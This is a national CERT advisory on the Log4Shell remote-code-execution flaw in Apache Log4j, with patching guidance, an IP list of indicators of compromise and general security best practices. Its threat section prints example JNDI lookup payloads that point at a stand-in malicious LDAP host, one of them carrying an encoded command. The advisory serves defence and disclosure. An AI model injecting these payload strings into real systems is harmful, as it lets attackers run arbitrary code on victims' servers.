



Zero-Day Exploit for Log4j Java Library

CRITICALITY



December 11, 2021

Recommendations



Prevention



Detection



Remediation



Response



MITRE ATT&CK

Summary

A severe zero-day vulnerability in the Apache Log4j Java-based logging library is currently being exploited. The successful exploitation of CVE-2021-44228 vulnerability results in unauthenticated Remote Code Execution (RCE) attacks via the LDAP and JNDI parser.



Threat Details

An extremely critical 0-day vulnerability in the popular Apache Log4j Java logging library is actively exploited in the wild. This RCE vulnerability, officially tagged as CVE-2021-44228 and called Log4Shell or LogJam. Certainly, all systems and services with Log4j versions 2.0 and 2.14.1 are vulnerable, including many services and applications based on Java.

The default configuration of multiple Apache frameworks will be affected, such as Apache Struts2, Apache Solr, Apache Druid, Apache Flink, and Apache Swift. Besides the variety of different popular software by several manufacturers that are using Log4j for logging including Apple, Twitter, Tesla, Steam, Redis, Video games (e.g. Minecraft), and other Java's applications.

Generally, by Logging through the vulnerable Log4j, a single string of text can cause an application to reach out to an external site. To begin with, the adversary might deliver special content in an HTTP User-Agent header or a simple POST form request in the following format: `"${jndi:ldap://maliciousexternalhost.com/resource}"`. To clarify let us assume "maliciousexternalhost.com" is an instance controlled by the adversary, the Log4j vulnerability uses the JNDI "Java Naming and Directory Interface" to communicate the malicious host. The first-stage resource serves as a gateway to another attacker-controlled endpoint that delivers Java code to be run on the original victim. Moreover, the researchers have noticed that a Base64 encoded text is included within the executed commands of the URL queries, as similar: `${jndi:ldap://MALICIOUSHOST.COM:PORT/Basic/Command/Base64/LoNGeNcoDeDcOmMaNd}`. Furthermore, recent payloads have been discovered using a `jndi:dns://` schema rather than LDAP.

Consequently, successful exploitation of the CVE-2021-44228 Log4j vulnerability provides the adversary with the ability to use RCE to execute the malicious code to control the victim's host by controlling log messages, or log message parameters which execute arbitrary code loaded from LDAP servers when Message Lookup substitution is enabled. Therefore, the updated version of Log4j 2.15.0 addresses this issue by default disabling the Message Lookup.



Recommendations



Prevention

- **Appendix A** contains the recommendations to prevent such attacks.



Detection

- **Appendix B** contains a sample of Indicators of compromise of this threat the full list is in the attached file.

References

- Database, G. A. (2021, December 10). *Remote code injection in Log4j*. Retrieved from GitHub: <https://github.com/advisories/GHSA-jfh8-c2jp-5v3q>
- gnremy. (2021, December 10). *CVE-2021-44228_IPs.csv*. Retrieved from GitHub: <https://gist.github.com/gnremy/c546c7911d5f876f263309d7161a7217>
- Hammond, J. (2021, December 10). *Critical RCE Vulnerability: log4j - CVE-2021-44228*. Retrieved from Huntress: <https://www.huntress.com/blog/rapid-response-critical-rce-vulnerability-is-affecting-java>
- NCSC, U. (2021, December 10). *Alert: Active scanning for Apache Log4j 2 vulnerability (CVE-2021-44228)*. Retrieved from The National Cyber Security Centre: <https://www.ncsc.gov.uk/news/apache-log4j-vulnerability>



Contact Us

Bahrain National CERT - National Cyber Security Center “NCSC”

Email: CERT@ncsc.gov.bh



Appendix A – Prevention

The National Cyber Security Centre recommends all the entities to follow the below steps:

- Highly recommended to patch the Apache Log4j Java-Based library to the latest version (Log4j v2.15.0).
- If you are using an affected third-party application, ensure you keep the product updated to the latest version
- The flaw can also be mitigated in previous releases (2.10 and later) by setting system property "**log4j2.formatMsgNoLookups**" to "**true**" or removing the JndiLookup class from the classpath.

The affected products:

- org.apache.logging.log4j:log4j-api
- org.apache.logging.log4j:log4j-core



Appendix B – Indicators of Compromise

Indicators of Compromise

IP Addresses

18.27.197.252
23.129.64.131
23.129.64.141
23.129.64.146
23.129.64.148
45.12.134.108
45.155.205.233
46.166.139.111
46.182.21.248
51.15.43.205
51.255.106.85
54.173.99.121
62.102.148.69
72.223.168.73
81.17.18.60
104.244.72.115
104.244.74.57
104.244.74.211
104.244.76.170
107.189.1.160
107.189.1.178
107.189.12.135

Kindly find the list of the full IP Addresses IOCs in the attached Excel document.



Appendix C – Best Practices

Bahrain National CERT team recommends organizations implement the following security best practices.

- Daily backups of important new/changed data, software, and configuration settings, stored disconnected, retained for at least three months. Test restoration initially, annually, and when IT infrastructure changes.
- Patch operating systems. Patch/mitigate computers (including network devices) with 'extreme risk' vulnerabilities within 48 hours. Use the latest operating system version. Don't use unsupported versions.
- Patch applications e.g. Flash, web browsers, Microsoft Office, Java, and PDF viewers. Patch/mitigate computers with 'extreme risk' vulnerabilities within 48 hours. Use the latest version of applications.
- Restrict administrative privileges to operating systems and applications based on user role. Regularly reassess the need for privileges. Don't use privileged accounts for reading email and web browsing.
- Configure Microsoft Office macro settings to block macros from the Internet, and only allow vetted macros either in 'trusted locations' with limited write access or digitally signed with a trusted certificate.
http://www.asd.gov.au/publications/protect/Microsoft_Office_Macro_Security.pdf
- Application whitelisting of approved/trusted programs to prevent execution of unapproved/malicious programs including .exe, DLL, scripts (e.g. Windows Script Host, PowerShell, and HTA), and installers.
- User application hardening. Configure web browsers to block Flash (ideally uninstall it), ads, and Java on the Internet. Disable unneeded features in Microsoft Office (e.g. OLE), web browsers, and PDF viewers.
- Multi-factor authentication for VPNs, Outlook Web Access (OWA), RDP, SSH, and other remote access, and for all users when they perform a privileged action or access an important (sensitive or high-availability) data repository.
- Implement CIS Critical Security Controls, while prioritizing the implementation of the Top 5 CIS Controls. (<https://www.cisecurity.org/critical-controls.cfm>)
- Implement Strategies to mitigate cyber security incidents.
(<http://www.asd.gov.au/infosec/mitigationstrategies.htm>)

CERT.bh recommends organizations implement the following strategies to detect and respond to cyber security incidents:

- Network-based intrusion detection/prevention system using signatures and heuristics to identify anomalous traffic both internally and crossing network perimeter boundaries.
- Host-based intrusion detection/prevention system to identify anomalous behaviour during program execution e.g. process injection, keystroke logging, driver loading, and persistence mechanisms.
- Endpoint detection and response software on all computers to centrally log systems' behaviour and facilitate incident response. Microsoft's free SysMon tool is an entry-level option.
- Enhance visibility through PowerShell logging to provide investigators with a detection mechanism for malicious activity and a historical record of how PowerShell was used on systems.
https://www.fireeye.com/blog/threat-research/2016/02/greater_visibility.html
- Hunt to discover incidents using threat intelligence consisting of analyzed threat data with indicators of compromise and mitigating threats based on behaviour patterns.



- Capture network traffic to and from internal systems that store important data or are considered critical assets, and network traffic traversing the network perimeter, to assist with incident detection and analysis.
- Continuous incident detection and response with automated immediate analysis of centralized time-synchronized logs of permitted and denied: computer events, authentication, file access, network activity.
- MITRE Corporation provides a public repository that includes a model and framework for describing the actions attackers may take while operating within an enterprise network. These details can aid organizations in detecting attacker activities.
 - https://attack.mitre.org/wiki/Main_Page
 - https://car.mitre.org/wiki/Full_Analytic_List
 - <https://car.mitre.org/caret/#/>



Appendix D – TLP Definitions

TLP: RED = Not for disclosure, restricted to participants only.

Sources may use TLP: RED when information cannot be effectively acted upon by additional parties and could lead to impacts on a party's privacy, reputation, or operations if misused. Recipients may not share TLP: RED information with any parties outside of the specific exchange, meeting, or conversation in which it was originally disclosed. In the context of a meeting, for example, TLP: RED information is limited to those present at the meeting. In most circumstances, TLP: RED should be exchanged verbally or in person.

TLP: AMBER = Limited disclosure, restricted to participants' organizations.

Sources may use TLP: AMBER when information requires support to be effectively acted upon, yet carries risks to privacy, reputation, or operations if shared outside of the organizations involved. Recipients may only share TLP: AMBER information with members of their organization, and with clients or customers who need to know the information to protect themselves or prevent further harm. **Sources are at liberty to specify additional intended limits of the sharing: these must be adhered to.**

TLP: GREEN = Limited disclosure, restricted to the community.

Sources may use TLP: GREEN when information is useful for the awareness of all participating organizations as well as with peers within the broader community or sector. Recipients may share TLP: GREEN information with peers and partner organizations within their sector or community, but not via publicly accessible channels. Information in this category can be circulated widely within a particular community. TLP: GREEN information may not be released outside of the community.

TLP: WHITE = Disclosure is not limited.

Sources may use TLP: WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP: WHITE information may be distributed without restriction.